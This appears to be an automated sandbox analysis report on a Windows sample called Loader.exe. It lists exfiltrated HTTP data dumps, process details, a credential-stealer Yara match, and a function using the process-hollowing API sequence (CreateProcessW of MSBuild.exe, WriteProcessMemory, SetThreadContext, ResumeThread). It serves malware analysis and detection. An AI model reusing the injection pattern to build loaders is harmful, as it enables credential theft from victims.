2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: b6 64 99 5e d1 d1 14 cf b9 22 2c fe e3 6f 6e 87 2b f6 0e 1c e4 0f 9d c0 84 fa a3 7e 2c e0 62 b3 ea 4c 68 e6 61 13 21 12 9c f9 27 81 95 5e ac 04 95 6b e3 60 d9 37 bd a2 30 7b b7 0c 6c 88 81 5f 72 b1 eb a3 44 07 db 5e 9d 25 56 d7 77 4b d8 5e 78 e1 c5 d3 ff 1d a6 b9 9e 81 bd c3 25 2d 42 7f 85 d8 89 aa 32 91 54 d8 66 ac 56 94 65 b7 ae 56 fb 0c 65 a8 fb 61 de eb 83 fb b3 cf 5c 40 df 5c 63 9c d9 99 29 72 15 ba 49 55 d7 5c 46 cf a2 97 73 66 6c 8e 92 e9 ac 25 55 da 18 00 6f d1 8c 79 56 1f 29 4d 04 10 f6 88 45 29 71 b3 1b b6 d7 06 ff 5d 97 1c a9 61 76 4e fd 4c 90 3b ee 0c ef 03 0d 2a 3b fb 1d 66 5b 20 0c 38 24 c5 90 6f 80 a9 61 97 b8 c0 03 71 86 1e 22 ed ee 5e df f7 7e 6b f6 6e 13 93 2a c4 de f8 b5 55 49 cb f2 8b 37 59 7a e2 ca ee 99 1c fc db b3 70 1d 0f 58 54 e5 Data Ascii: d^",on+~,bLha!'^k`70{l_rD^%VwK^x%-B2TfVeVea\@\c)rIU\Fsfl%UoyV)ME)q]avNL;;f[ 8$oaq"^~knUI7YzpXT
2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: f5 fc e3 58 bc cb 9d c0 6f 47 1e 2d 6d 65 7a 19 ef 13 d9 f0 72 14 50 a8 ee 79 e9 8d 29 1a be 8c c3 23 be ff 4e c7 8e 15 2f 98 93 f8 bf 6e b6 23 ea 80 b4 53 95 d1 cd 6c f3 54 df 27 0e ae fc 93 ba 23 d6 99 07 51 24 08 13 4a 7b ec 91 63 f3 b5 10 98 7d 16 0a 11 e5 b2 94 21 47 e1 de 93 1c ad 73 69 dc 7b 3d e8 98 3e bc cb 45 62 20 ef fd 48 8b b6 4d cd 5a d1 2c 0f b9 92 35 cd cc 11 ea 14 0d 77 91 2c 8e a8 3e 02 2c 46 33 35 50 df b1 bd 7f 69 c3 15 0d 57 71 90 5a 03 36 f6 6a 64 39 64 ed 68 2f 01 78 6a 9c 20 e2 50 08 9e 55 ec 9c 9d 25 32 c9 3a 3c f8 fd 0a a5 72 d7 6d 25 e6 c8 04 cb 52 2c 0b 1b f6 f3 57 ab ff ef 02 5f e6 61 66 49 f1 31 e1 85 cb 31 99 3a 18 e3 f3 64 5f de 59 99 38 43 71 2c 47 1a 7a 3d 12 37 5b 1c 23 ae 3a 10 66 9c a4 ea c9 41 b4 89 1c 65 a1 4d 6d a9 Data Ascii: XoG-mezrPy)#N/n#SlT'#Q$J{c}!Gsi{=>Eb HMZ,5w,>,F35PiWqZ6jd9dh/xj PU%2:<rm%R,W_afI11:d_Y8Cq,Gz=7[#:fAeMm
2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: 11 94 e1 b0 b7 f4 52 b1 5c ca 88 cb a9 4d 69 84 e7 b2 73 a6 71 13 fa 14 22 34 12 eb 85 54 a7 ae 66 a7 ee 7a 83 01 2e e7 d7 e5 58 f1 ce 78 f9 e0 ef be b0 36 be 38 e9 9b ef 50 fe b5 a9 0c 96 de 8e bd 2c 22 a3 09 dd 24 ab 88 60 2a f6 1a 24 6c 54 71 08 f7 72 4c f7 f7 8f 44 51 14 46 6f ad 92 2b 8f 73 f4 ea ab b9 29 ff 80 1e 45 48 c3 e8 98 d6 4a f5 b2 87 b5 25 4e 4c 64 58 7d 4a 08 e7 f6 f1 27 17 58 95 0e 4e 1d c9 3d 12 9a 7c e4 e4 f9 7f a7 cd 58 a4 75 d1 1d 76 44 c9 37 b6 d8 b6 59 b9 a8 95 9e d3 50 46 b6 4f e2 ce 8b 4b d3 86 a3 9f ec a0 cf 3c 4f e0 b3 58 30 2f dc 97 7e 0e 68 2d 1c 20 96 20 10 47 79 37 65 fb af a4 0d 60 01 39 1c 3a c7 07 ca ad dc 7f 79 bb 9f 7c 02 3a 8f 70 62 6c d2 22 f2 4f dd f2 20 3a 35 38 fa 65 55 a0 67 08 a7 f2 d5 a6 38 13 68 97 63 4d 4b d9 Data Ascii: R\Misq"4Tfz.Xx68P,"$`*$lTqrLDQFo+s)EHJ%NLdX}J'XN=\|XuvD7YPFOK<OX0/~h- Gy7e`9:y\|:pbl"O :58eUg8hcMK
2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: 9a 02 40 02 2b 95 ea 9e a7 46 58 d0 d3 33 42 1f bd db a0 3f 74 62 c0 37 fd 49 6b f7 e7 87 f9 66 82 bc 5b f3 f6 9f 8c a8 ff bb 25 26 08 42 7c 16 17 d1 40 1b 7f 05 07 de a2 0b 05 50 c3 64 b2 e4 3f c1 69 da 3e 89 9b c7 6a 2c 8d f9 7d 75 10 0c 18 70 82 9c 23 4b ed 45 d1 03 1c 0a 95 86 b9 92 87 fb a5 46 5c e3 b1 23 aa 74 01 8c 36 cb 33 9a 1a 0c f0 eb 8f 59 63 2b 80 4f c5 7c f0 b8 c8 9b ad b8 7d d3 56 68 5e 3b 1f 3e 33 67 aa e6 c4 a9 cd 67 15 a9 c6 bc 82 63 e2 f7 20 d8 a8 5b 7f fd 8a 83 04 ea 7a c2 04 04 6e 10 70 0d b8 7a e5 a8 90 dd 54 7e 00 e1 a0 15 e2 de d0 9d 5c bb d6 9c 59 b2 8b 8d a9 d3 08 f6 b2 25 de 03 f3 1a 9d 44 48 3a 58 63 8c 4e da 44 14 e0 b6 cf e6 24 d0 05 04 7e 4d d9 14 da d8 da 06 66 ee 8d 2d ff e2 b5 a5 4c ad 47 50 ac 4f 66 f9 f8 28 2e 41 a5 76 Data Ascii: @+FX3B?tb7Ikf[%&B\|@Pd?i>j,}up#KEF\#t63Yc+O\|}Vh^;>3ggc [znpzT~\Y%DH:XcND$~Mf-LGPOf(.Av
2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: d1 84 33 fc d7 24 05 1d e7 f5 69 02 5f ed ff ef a5 37 d6 71 7a 27 33 21 3e 26 b1 6c a7 21 2f f3 ae 9a 97 20 e2 8d 59 f4 58 63 22 60 d8 1d 05 f9 87 67 54 a0 fc 5f 66 4c 77 87 e1 8b 57 bf 88 56 ee bc 59 cc d6 40 40 e4 17 d7 d4 d3 de ac ab f9 e1 8c 84 fc a5 9a 09 97 29 78 a2 b6 89 54 81 56 17 b0 6c dd 11 7a 14 86 61 6a 50 8c 5a a1 29 ce db fd fa 72 91 4a ca 04 80 9d 1c bd e3 fc 8d 21 df d9 81 9e 1e d2 07 5c e7 0f 8c d6 84 f7 dc 16 70 0c 5a 78 35 6f af 42 6c a1 67 79 0c 56 ca 0d 96 dc 75 c9 17 5b 18 08 93 8a f4 6e 56 ee 18 5b 2a d6 a6 47 51 eb 66 3d f2 42 10 ee 05 8c fd b9 3e f6 8a 30 08 f1 9e 9b 95 87 c3 fc a0 d7 9a 49 13 1f f6 a4 c0 a2 8e 9f a8 92 ac d9 be 0a ee 7b c9 20 a7 dd 64 1b 96 c7 08 b4 fe 5c d3 85 e2 3d aa a6 a2 0d 32 02 26 cf 3c 5b 1e dd 38 f6 1d Data Ascii: 3$i_7qz'3!>&l!/ YXc"`gT_fLwWVY@@)xTVlzajPZ)rJ!\pZx5oBlgyVu[nV[*GQf=B>0I{ d\=2&<[8
2024-11-23 08:49:18 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:49:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pnaaa8lh5c9l6l6ougaipfvduo; expires=Wed, 19-Mar-2025 02:35:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=laKP9d6efD1h36GVDP4U8np0UEwiPWoYabWWu9GOM1KJzZ5hdbbeuRwcpkNlKRmiCazYXkxhAZmutaCeIAJgk38gwpyD9MCGJ7LjDH%2BLgdGS1OGcDocxKiyS7uBPhOfadX63uAY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6fe7ab4fed42e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&sent=329&recv=569&lost=0&retrans=0&sent_bytes=2846&recv_bytes=552160&delivery_rate=1652518&cwnd=250&unsent_bytes=0&cid=ffeaba1fd58e28e3&ts=2211&x=0"

Target ID:	0
Start time:	03:48:57
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0xe50000
File size:	500'224 bytes
MD5 hash:	0E6FCE268473AAD13DA6AA0C2E93EC94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:48:57
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:48:57
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0xe50000
File size:	500'224 bytes
MD5 hash:	0E6FCE268473AAD13DA6AA0C2E93EC94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1730285852.000000000377D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0.5%
Signature Coverage:	3.7%
Total number of Nodes:	1560
Total number of Limit Nodes:	24

Executed Functions

Function 00E7B18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00E7B0FF,00E7B0EF), ref: 00E7B323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00E7B336
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 00E7B354
ReadProcessMemory.KERNELBASE(00000098,?,00E7B143,00000004,00000000), ref: 00E7B378
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 00E7B3A3
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 00E7B3FB
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 00E7B446
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 00E7B484
Wow64SetThreadContext.KERNEL32(0000009C,00D60000), ref: 00E7B4C0
ResumeThread.KERNELBASE(0000009C), ref: 00E7B4CF

Strings

WriteProcessMemory, xrefs: 00E7B29E
GetP, xrefs: 00E7B20D
GetThreadContext, xrefs: 00E7B265
VirtualAlloc, xrefs: 00E7B252
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00E7B322
VirtualAllocEx, xrefs: 00E7B28B
ResumeThread, xrefs: 00E7B2C7
ress, xrefs: 00E7B215
TerminateProcess, xrefs: 00E7B3B2
SetThreadContext, xrefs: 00E7B2B1
Load, xrefs: 00E7B1C9
ReadProcessMemory, xrefs: 00E7B278
aryA, xrefs: 00E7B1D1
CreateProcessW, xrefs: 00E7B23F

Memory Dump Source

Source File: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 2422d89882512a0f46ad05bb97b40a26682dc0ed2c52e85f889642d1ea3e6776
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 10B1087660168AAFDB60CF68CC80BDA73A5FF88714F158524EA0CAB341D770FA51CB94

Function 00E5CD10 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b26c971121ab4dd77ebf9eadb2bb79780d6fcf51aed24fbd0958306f2c8e739
Instruction ID: 8651329ef928e949c968b30757e4b303980b4a64989e74ee025b6147429eaf02
Opcode Fuzzy Hash: 1b26c971121ab4dd77ebf9eadb2bb79780d6fcf51aed24fbd0958306f2c8e739
Instruction Fuzzy Hash: AF0119749043188FC714DF69D885BD9F7F0EB18710F0085A9A888A7350EB74AAC4CF85

Function 00E69DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,4E40E4DF,?,00E69EE2,?,?,00000000), ref: 00E69E94

Strings

ext-ms-, xrefs: 00E69E3E
api-ms-, xrefs: 00E69E2A

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 57e128ee5b7dcd990c9153f98a6cd99a081d52cf77e27c5918d30c5a6d21e380
Instruction ID: 3817fd8cbcf287283d7c8c41830ce9fb65a4bc51142c785279cfe11eb54ad8fb
Opcode Fuzzy Hash: 57e128ee5b7dcd990c9153f98a6cd99a081d52cf77e27c5918d30c5a6d21e380
Instruction Fuzzy Hash: 4221F632A80210ABD721D761BC44B5A779CEF517F4F251120E91AB7293E732ED05C6D0

Function 00E5BEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00E5BF10

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 35b78fca9dbe761150e3591292dee4e84fa833d45b8d5fe823879bafee3d9aab
Instruction ID: 94a4561da6a39d916d572393f0ffe9d0e6d070f86d706900331692e78ebe245c
Opcode Fuzzy Hash: 35b78fca9dbe761150e3591292dee4e84fa833d45b8d5fe823879bafee3d9aab
Instruction Fuzzy Hash: CD7139B4A05209DFCB04DFACD9686AEBBF0EF48701F209919E856BB351D73499488F51

Function 00E66CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00016E00,00000000,?,?), ref: 00E66D2F
GetLastError.KERNEL32(?,00000000,00000000,?,00E63BEA), ref: 00E66D3B
__dosmaperr.LIBCMT ref: 00E66D42

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 7b1a3cee3eefc68a7fc338840473203a7c5b32f2c06365007f0492f580a94e4b
Instruction ID: 14600b4d9f825030ba083c43dcc9e6872ab956e0ed7c1e36cc2422707342f56e
Opcode Fuzzy Hash: 7b1a3cee3eefc68a7fc338840473203a7c5b32f2c06365007f0492f580a94e4b
Instruction Fuzzy Hash: EE017172650209BFDF15AFA0EC05AEE3BA9EF407E8F105158F801B6161DB71EE50DB91

Function 00E66FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,00E670B1,00E683A0,00E683A0,?,00000002,4E40E4DF,00E683A0,00000002), ref: 00E67000
TerminateProcess.KERNEL32(00000000,?,00E670B1,00E683A0,00E683A0,?,00000002,4E40E4DF,00E683A0,00000002), ref: 00E67007
ExitProcess.KERNEL32 ref: 00E67019

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: f4f4b66a97dcdc30245a75e20328bbb13254a369e3542014cef68ea2ac965f08
Instruction ID: 5d640a74abecc52bbfa5f6e6b9435d7e7b60ed4c558c9e520f13639c99795842
Opcode Fuzzy Hash: f4f4b66a97dcdc30245a75e20328bbb13254a369e3542014cef68ea2ac965f08
Instruction Fuzzy Hash: AED09231044108BFCF116F62FC4D88D3F6ABF54395B149010F91DAA172DB35D99ADBA0

Function 00E6A732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,00E6A621,00E7A088,0000000C), ref: 00E6A77E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,00E6A621,00E7A088,0000000C), ref: 00E6A790

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 5199057bf536cc19722aadf05b69d709d4dceb9fd976a0f22f1b769bf20e2568
Instruction ID: 74849466449c1f89ce62ed718a8f519ba3f0ce40746c29ab4c6f24b77111f8d1
Opcode Fuzzy Hash: 5199057bf536cc19722aadf05b69d709d4dceb9fd976a0f22f1b769bf20e2568
Instruction Fuzzy Hash: 8111D8719447414ACB308E3EEC885227EB45B563B4B3C172BD1B6B65F2C634F986EA42

Function 00E66E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00E79D20,0000000C), ref: 00E66E13
ExitThread.KERNEL32 ref: 00E66E1A

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 7981aef083249434d0e18d13a527079468dc7de50fbd883fb2d25350da8f0469
Instruction ID: 182a1e0d89779b449125305ee10998916aaf9d7590f83bef54b360990afad062
Opcode Fuzzy Hash: 7981aef083249434d0e18d13a527079468dc7de50fbd883fb2d25350da8f0469
Instruction Fuzzy Hash: AEF0C271A80204AFDB00BFB0E84AA2E3BB6FF40750F105549F005BB2A2DB715941CB91

Function 00E6B0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00E6BC39,?,00000000,?,?,00E6BB55,?,00000007,?,?,00E6C16E,?,?), ref: 00E6B0E1
GetLastError.KERNEL32(?,?,00E6BC39,?,00000000,?,?,00E6BB55,?,00000007,?,?,00E6C16E,?,?), ref: 00E6B0EC

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 407177c4cf227758fb73226bb1a76635c0920dabd38d67468b6a7909982fa858
Instruction ID: f9ad84b6f6e022bae307444d8ab016ca6f356b5e1fbe5f7d7fe5b29431f5a9eb
Opcode Fuzzy Hash: 407177c4cf227758fb73226bb1a76635c0920dabd38d67468b6a7909982fa858
Instruction Fuzzy Hash: 51E08C32580208ABCB216BA1FC0DB993B9DAF84399F100061F60CF6062DB3099C2C784

Function 00E63B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90aee893c2075a345ba059dec8b4c0e53c39456dc0871975df79afbfe0503035
Instruction ID: d60b2136458cc5a9882d5ad9a836445a4464039ef764fd62a650f1d74be9993a
Opcode Fuzzy Hash: 90aee893c2075a345ba059dec8b4c0e53c39456dc0871975df79afbfe0503035
Instruction Fuzzy Hash: BE31AEB4E442098BCB04DFB9E5946AEFBF0EB48384F10942AE456BB350DB359A05CF65

Function 00E69E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
